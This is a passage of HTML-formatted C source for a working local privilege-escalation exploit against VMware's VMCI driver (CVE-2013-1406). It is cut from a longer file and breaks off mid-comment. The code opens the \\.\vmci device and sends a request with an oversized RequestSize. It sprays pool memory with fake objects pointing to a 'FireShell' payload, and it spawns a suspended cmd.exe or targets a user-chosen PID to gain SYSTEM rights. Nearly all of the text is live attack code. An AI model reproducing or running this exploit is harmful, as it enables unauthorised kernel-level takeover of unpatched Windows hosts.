        &lt;span style="color: maroon; font-weight: bold;"&gt;for&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #603000;"&gt;PUCHAR&lt;/span&gt; iAddr &lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #603000;"&gt;PUCHAR&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;pBuf &lt;span style="color: #808030;"&gt;+&lt;/span&gt; &lt;span style="color: green;"&gt;0x43&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt; iAddr &lt;span style="color: #808030;"&gt;&amp;lt;&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #603000;"&gt;PUCHAR&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;pBuf &lt;span style="color: #808030;"&gt;+&lt;/span&gt; dwSize&lt;span style="color: purple;"&gt;;&lt;/span&gt; iAddr &lt;span style="color: #808030;"&gt;=&lt;/span&gt; iAddr &lt;span style="color: #808030;"&gt;+&lt;/span&gt; dwStep&lt;span style="color: #808030;"&gt;)&lt;/span&gt;
        &lt;span style="color: purple;"&gt;{&lt;/span&gt;
            &lt;span style="color: #603000;"&gt;PDWORD&lt;/span&gt; pLock &lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #603000;"&gt;PDWORD&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;iAddr &lt;span style="color: #808030;"&gt;+&lt;/span&gt; &lt;span style="color: green;"&gt;0x38&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
            PDWORD_PTR pCallMeMayBe &lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;PDWORD_PTR&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;iAddr &lt;span style="color: #808030;"&gt;+&lt;/span&gt; &lt;span style="color: green;"&gt;0xAC&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
            PDWORD_PTR pFakeDerefObj &lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;PDWORD_PTR&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;iAddr &lt;span style="color: #808030;"&gt;+&lt;/span&gt; &lt;span style="color: green;"&gt;0x100&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;

            &lt;span style="color: #808030;"&gt;*&lt;/span&gt;pLock &lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #008c00;"&gt;1&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
            &lt;span style="color: #808030;"&gt;*&lt;/span&gt;pCallMeMayBe &lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;DWORD_PTR&lt;span style="color: #808030;"&gt;)&lt;/span&gt;FireShell&lt;span style="color: purple;"&gt;;&lt;/span&gt;
            &lt;span style="color: #808030;"&gt;*&lt;/span&gt;pFakeDerefObj &lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;DWORD_PTR&lt;span style="color: #808030;"&gt;)&lt;/span&gt;pBuf &lt;span style="color: #808030;"&gt;+&lt;/span&gt; &lt;span style="color: green;"&gt;0x1000&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
        &lt;span style="color: purple;"&gt;}&lt;/span&gt;
    &lt;span style="color: purple;"&gt;}&lt;/span&gt;

    &lt;span style="color: maroon; font-weight: bold;"&gt;return&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
&lt;span style="color: purple;"&gt;}&lt;/span&gt;

&lt;span style="color: maroon; font-weight: bold;"&gt;void&lt;/span&gt; PenetrateVMCI&lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;
&lt;span style="color: purple;"&gt;{&lt;/span&gt;
    &lt;span style="color: dimgrey;"&gt;/*&lt;/span&gt;
&lt;span style="color: dimgrey;"&gt;&lt;/span&gt;
&lt;span style="color: dimgrey;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;VMware Security Advisory&lt;/span&gt;
&lt;span style="color: dimgrey;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Advisory ID:    VMSA-2013-0002&lt;/span&gt;
&lt;span style="color: dimgrey;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Synopsis:    VMware ESX, Workstation, Fusion, and View VMCI privilege escalation vulnerability&lt;/span&gt;
&lt;span style="color: dimgrey;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Issue date:    2013-02-07&lt;/span&gt;
&lt;span style="color: dimgrey;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Updated on:    2013-02-07 (initial advisory)&lt;/span&gt;
&lt;span style="color: dimgrey;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CVE numbers:    CVE-2013-1406&lt;/span&gt;
&lt;span style="color: dimgrey;"&gt;&lt;/span&gt;
&lt;span style="color: dimgrey;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;*/&lt;/span&gt;

    &lt;span style="color: #603000;"&gt;DWORD&lt;/span&gt; dwPidToElevate &lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #008c00;"&gt;0&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
    &lt;span style="color: #603000;"&gt;HANDLE&lt;/span&gt; hSuspThread &lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #7d0045;"&gt;NULL&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;

    &lt;span style="color: maroon; font-weight: bold;"&gt;bool&lt;/span&gt; bXP &lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #603000;"&gt;LOBYTE&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #400000;"&gt;GetVersion&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt; &lt;span style="color: #808030;"&gt;=&lt;/span&gt;&lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #008c00;"&gt;5&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
    &lt;span style="color: maroon; font-weight: bold;"&gt;bool&lt;/span&gt; b7 &lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #603000;"&gt;LOBYTE&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #400000;"&gt;GetVersion&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt; &lt;span style="color: #808030;"&gt;=&lt;/span&gt;&lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #008c00;"&gt;6&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt; &lt;span style="color: #808030;"&gt;&amp;amp;&lt;/span&gt;&lt;span style="color: #808030;"&gt;&amp;amp;&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #603000;"&gt;HIBYTE&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #603000;"&gt;LOWORD&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #400000;"&gt;GetVersion&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt; &lt;span style="color: #808030;"&gt;=&lt;/span&gt;&lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #008c00;"&gt;1&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
    &lt;span style="color: maroon; font-weight: bold;"&gt;bool&lt;/span&gt; b8 &lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #603000;"&gt;LOBYTE&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #400000;"&gt;GetVersion&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt; &lt;span style="color: #808030;"&gt;=&lt;/span&gt;&lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #008c00;"&gt;6&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt; &lt;span style="color: #808030;"&gt;&amp;amp;&lt;/span&gt;&lt;span style="color: #808030;"&gt;&amp;amp;&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #603000;"&gt;HIBYTE&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #603000;"&gt;LOWORD&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #400000;"&gt;GetVersion&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt; &lt;span style="color: #808030;"&gt;=&lt;/span&gt;&lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #008c00;"&gt;2&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;

    &lt;span style="color: maroon; font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #808030;"&gt;!&lt;/span&gt;InitKernelFuncs&lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;
    &lt;span style="color: purple;"&gt;{&lt;/span&gt;
        &lt;span style="color: #603000;"&gt;printf&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: #0000e6;"&gt;[-] Like I don't know where the shellcode functions are&lt;/span&gt;&lt;span style="color: #0f69ff;"&gt;\n&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
        &lt;span style="color: maroon; font-weight: bold;"&gt;return&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
    &lt;span style="color: purple;"&gt;}&lt;/span&gt;

    &lt;span style="color: maroon; font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;bXP&lt;span style="color: #808030;"&gt;)&lt;/span&gt;
    &lt;span style="color: purple;"&gt;{&lt;/span&gt;
        &lt;span style="color: #603000;"&gt;printf&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: #0000e6;"&gt;[?] Who do we want to elevate?&lt;/span&gt;&lt;span style="color: #0f69ff;"&gt;\n&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
        scanf_s&lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: #0f69ff;"&gt;%d&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: #808030;"&gt;,&lt;/span&gt; &lt;span style="color: #808030;"&gt;&amp;amp;&lt;/span&gt;dwPidToElevate&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;

        hProcessToElevate &lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #400000;"&gt;OpenProcess&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;PROCESS_QUERY_INFORMATION&lt;span style="color: #808030;"&gt;,&lt;/span&gt; FALSE&lt;span style="color: #808030;"&gt;,&lt;/span&gt; dwPidToElevate&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
        &lt;span style="color: maroon; font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;hProcessToElevate &lt;span style="color: #808030;"&gt;=&lt;/span&gt;&lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #7d0045;"&gt;NULL&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;
        &lt;span style="color: purple;"&gt;{&lt;/span&gt;
            &lt;span style="color: #603000;"&gt;printf&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: #0000e6;"&gt;[-] This process doesn't want to be elevated&lt;/span&gt;&lt;span style="color: #0f69ff;"&gt;\n&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
            &lt;span style="color: maroon; font-weight: bold;"&gt;return&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
        &lt;span style="color: purple;"&gt;}&lt;/span&gt;
    &lt;span style="color: purple;"&gt;}&lt;/span&gt;

    &lt;span style="color: maroon; font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;b7 &lt;span style="color: #808030;"&gt;|&lt;/span&gt;&lt;span style="color: #808030;"&gt;|&lt;/span&gt; b8&lt;span style="color: #808030;"&gt;)&lt;/span&gt;
    &lt;span style="color: purple;"&gt;{&lt;/span&gt;
        &lt;span style="color: dimgrey;"&gt;// We are unable to change an active process token on-the-fly,&lt;/span&gt;
        &lt;span style="color: dimgrey;"&gt;// so we create a custom shell suspended (Ionescu hack)&lt;/span&gt;
        &lt;span style="color: #603000;"&gt;STARTUPINFO&lt;/span&gt; si &lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: purple;"&gt;{&lt;/span&gt;&lt;span style="color: #008c00;"&gt;0&lt;/span&gt;&lt;span style="color: purple;"&gt;}&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
        &lt;span style="color: #603000;"&gt;PROCESS_INFORMATION&lt;/span&gt; pi &lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: purple;"&gt;{&lt;/span&gt;&lt;span style="color: #008c00;"&gt;0&lt;/span&gt;&lt;span style="color: purple;"&gt;}&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;

        si&lt;span style="color: #808030;"&gt;.&lt;/span&gt;wShowWindow &lt;span style="color: #808030;"&gt;=&lt;/span&gt; TRUE&lt;span style="color: purple;"&gt;;&lt;/span&gt;

        &lt;span style="color: #603000;"&gt;WCHAR&lt;/span&gt; cmdPath&lt;span style="color: #808030;"&gt;[&lt;/span&gt;MAX_PATH&lt;span style="color: #808030;"&gt;]&lt;/span&gt; &lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: purple;"&gt;{&lt;/span&gt;&lt;span style="color: #008c00;"&gt;0&lt;/span&gt;&lt;span style="color: purple;"&gt;}&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
        &lt;span style="color: #400000;"&gt;GetSystemDirectory&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;cmdPath&lt;span style="color: #808030;"&gt;,&lt;/span&gt; MAX_PATH&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
        wcscat_s&lt;span style="color: #808030;"&gt;(&lt;/span&gt;cmdPath&lt;span style="color: #808030;"&gt;,&lt;/span&gt; MAX_PATH&lt;span style="color: #808030;"&gt;,&lt;/span&gt; &lt;span style="color: maroon;"&gt;L"&lt;/span&gt;&lt;span style="color: #0f69ff;"&gt;\\&lt;/span&gt;&lt;span style="color: #0000e6;"&gt;cmd.exe&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;

        &lt;span style="color: maroon; font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #400000;"&gt;CreateProcess&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;cmdPath&lt;span style="color: #808030;"&gt;,&lt;/span&gt; &lt;span style="color: maroon;"&gt;L"&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: #808030;"&gt;,&lt;/span&gt; &lt;span style="color: #7d0045;"&gt;NULL&lt;/span&gt;&lt;span style="color: #808030;"&gt;,&lt;/span&gt; &lt;span style="color: #7d0045;"&gt;NULL&lt;/span&gt;&lt;span style="color: #808030;"&gt;,&lt;/span&gt; FALSE&lt;span style="color: #808030;"&gt;,&lt;/span&gt; CREATE_SUSPENDED &lt;span style="color: #808030;"&gt;|&lt;/span&gt; CREATE_NEW_CONSOLE&lt;span style="color: #808030;"&gt;,&lt;/span&gt; &lt;span style="color: #7d0045;"&gt;NULL&lt;/span&gt;&lt;span style="color: #808030;"&gt;,&lt;/span&gt; &lt;span style="color: #7d0045;"&gt;NULL&lt;/span&gt;&lt;span style="color: #808030;"&gt;,&lt;/span&gt; &lt;span style="color: #808030;"&gt;&amp;amp;&lt;/span&gt;si&lt;span style="color: #808030;"&gt;,&lt;/span&gt; &lt;span style="color: #808030;"&gt;&amp;amp;&lt;/span&gt;pi&lt;span style="color: #808030;"&gt;)&lt;/span&gt; &lt;span style="color: #808030;"&gt;=&lt;/span&gt;&lt;span style="color: #808030;"&gt;=&lt;/span&gt; TRUE&lt;span style="color: #808030;"&gt;)&lt;/span&gt;
        &lt;span style="color: purple;"&gt;{&lt;/span&gt;
            hProcessToElevate &lt;span style="color: #808030;"&gt;=&lt;/span&gt; pi&lt;span style="color: #808030;"&gt;.&lt;/span&gt;hProcess&lt;span style="color: purple;"&gt;;&lt;/span&gt;
            hSuspThread &lt;span style="color: #808030;"&gt;=&lt;/span&gt; pi&lt;span style="color: #808030;"&gt;.&lt;/span&gt;hThread&lt;span style="color: purple;"&gt;;&lt;/span&gt;
        &lt;span style="color: purple;"&gt;}&lt;/span&gt;
    &lt;span style="color: purple;"&gt;}&lt;/span&gt;

    &lt;span style="color: #603000;"&gt;HANDLE&lt;/span&gt; hVMCIDevice &lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #400000;"&gt;CreateFile&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: maroon;"&gt;L"&lt;/span&gt;&lt;span style="color: #0f69ff;"&gt;\\&lt;/span&gt;&lt;span style="color: #0f69ff;"&gt;\\&lt;/span&gt;&lt;span style="color: #0000e6;"&gt;.&lt;/span&gt;&lt;span style="color: #0f69ff;"&gt;\\&lt;/span&gt;&lt;span style="color: #0000e6;"&gt;vmci&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: #808030;"&gt;,&lt;/span&gt; GENERIC_READ &lt;span style="color: #808030;"&gt;|&lt;/span&gt; GENERIC_WRITE&lt;span style="color: #808030;"&gt;,&lt;/span&gt; FILE_SHARE_READ &lt;span style="color: #808030;"&gt;|&lt;/span&gt; FILE_SHARE_WRITE&lt;span style="color: #808030;"&gt;,&lt;/span&gt; &lt;span style="color: #7d0045;"&gt;NULL&lt;/span&gt;&lt;span style="color: #808030;"&gt;,&lt;/span&gt; OPEN_EXISTING&lt;span style="color: #808030;"&gt;,&lt;/span&gt; &lt;span style="color: #7d0045;"&gt;NULL&lt;/span&gt;&lt;span style="color: #808030;"&gt;,&lt;/span&gt; &lt;span style="color: #7d0045;"&gt;NULL&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
    &lt;span style="color: maroon; font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;hVMCIDevice &lt;span style="color: #808030;"&gt;!&lt;/span&gt;&lt;span style="color: #808030;"&gt;=&lt;/span&gt; INVALID_HANDLE_VALUE&lt;span style="color: #808030;"&gt;)&lt;/span&gt;
    &lt;span style="color: purple;"&gt;{&lt;/span&gt;
        &lt;span style="color: #603000;"&gt;UCHAR&lt;/span&gt; BadBuff&lt;span style="color: #808030;"&gt;[&lt;/span&gt;&lt;span style="color: green;"&gt;0x624&lt;/span&gt;&lt;span style="color: #808030;"&gt;]&lt;/span&gt; &lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: purple;"&gt;{&lt;/span&gt;&lt;span style="color: #008c00;"&gt;0&lt;/span&gt;&lt;span style="color: purple;"&gt;}&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
        &lt;span style="color: #603000;"&gt;UCHAR&lt;/span&gt; retBuf&lt;span style="color: #808030;"&gt;[&lt;/span&gt;&lt;span style="color: green;"&gt;0x624&lt;/span&gt;&lt;span style="color: #808030;"&gt;]&lt;/span&gt; &lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: purple;"&gt;{&lt;/span&gt;&lt;span style="color: #008c00;"&gt;0&lt;/span&gt;&lt;span style="color: purple;"&gt;}&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
        &lt;span style="color: #603000;"&gt;DWORD&lt;/span&gt; dwRet &lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #008c00;"&gt;0&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;

        &lt;span style="color: #603000;"&gt;printf&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: #0000e6;"&gt;[+] VMCI service found running&lt;/span&gt;&lt;span style="color: #0f69ff;"&gt;\n&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;

        PVM_REQUEST pVmReq &lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;PVM_REQUEST&lt;span style="color: #808030;"&gt;)&lt;/span&gt;BadBuff&lt;span style="color: purple;"&gt;;&lt;/span&gt;
        pVmReq&lt;span style="color: #808030;"&gt;-&lt;/span&gt;&lt;span style="color: #808030;"&gt;&amp;gt;&lt;/span&gt;Header&lt;span style="color: #808030;"&gt;.&lt;/span&gt;RequestSize &lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: green;"&gt;0xFFFFFFF0&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
        
        &lt;span style="color: #603000;"&gt;PVOID&lt;/span&gt; pShellSprayBufStd &lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #7d0045;"&gt;NULL&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
        &lt;span style="color: #603000;"&gt;PVOID&lt;/span&gt; pShellSprayBufQtd &lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #7d0045;"&gt;NULL&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
        &lt;span style="color: #603000;"&gt;PVOID&lt;/span&gt; pShellSprayBufStd7 &lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #7d0045;"&gt;NULL&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
        &lt;span style="color: #603000;"&gt;PVOID&lt;/span&gt; pShellSprayBufQtd7 &lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #7d0045;"&gt;NULL&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
        &lt;span style="color: #603000;"&gt;PVOID&lt;/span&gt; pShellSprayBufChk8 &lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #7d0045;"&gt;NULL&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;

        &lt;span style="color: maroon; font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;b7&lt;span style="color: #808030;"&gt;)&lt;/span&gt; &lt;span style="color: #808030;"&gt;|&lt;/span&gt;&lt;span style="color: #808030;"&gt;|&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;bXP&lt;span style="color: #808030;"&gt;)&lt;/span&gt; &lt;span style="color: #808030;"&gt;|&lt;/span&gt;&lt;span style="color: #808030;"&gt;|&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;b8&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;
        &lt;span style="color: purple;"&gt;{&lt;/span&gt;
            &lt;span style="color: dimgrey;"&gt;/*&lt;/span&gt;
&lt;span style="color: dimgrey;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Significant bits of a PoolType of a chunk define the following regions:&lt;/span&gt;
&lt;span style="color: dimgrey;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0x0A000000 - 0x0BFFFFFF - Standard chunk&lt;/span&gt;
&lt;span style="color: dimgrey;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0x1A000000 - 0x1BFFFFFF - Quoted chunk&lt;/span&gt;
&lt;span style="color: dimgrey;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0x0 - 0xFFFFFFFF - Free chunk - no idea&lt;/span&gt;
&lt;span style="color: dimgrey;"&gt;&lt;/span&gt;
&lt;span style="color: dimgrey;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Addon for Windows 7:&lt;/span&gt;
